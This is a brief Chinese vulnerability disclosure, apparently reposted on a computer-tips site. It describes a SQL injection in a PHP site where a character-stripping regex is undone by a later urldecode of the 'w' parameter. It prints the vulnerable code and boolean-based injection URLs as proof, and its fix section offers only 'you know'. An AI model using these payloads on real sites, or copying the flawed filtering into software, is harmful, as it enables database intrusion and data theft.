过滤不严谨呀! 导致SQL注入!
if($WebOpening==0) die(htmlspecialchars_decode($WebMaintenanceText));
$QUERY = preg_replace("/[\\\:\*\?\"\'<>\~\(\)\[\]\{\}\s\$]/",'',$_SERVER['QUERY_STRING']);
//这个正则不严谨呀!!!!冏$QUERY = explode('/',$QUERY);
foreach ($QUERY as $key => $value){
$sGET[substr($value,0,1)] = substr(trim($value),1);
}
if (!empty($sGET['w'])) $sGET['w'] = urldecode($sGET['w']); 解码后成功触发
Lang(); sFile();
漏洞证明:?m1/fproducts/l1/w11%%27 and 1=1 and %27%%27=%27
TRUE
/Song/?m1/fproducts/l1/w11%%27 and 1=2and %27%%27=%27
FALSE
修复方案:
你懂的!
,涛涛电脑知识网,涛涛电脑知识网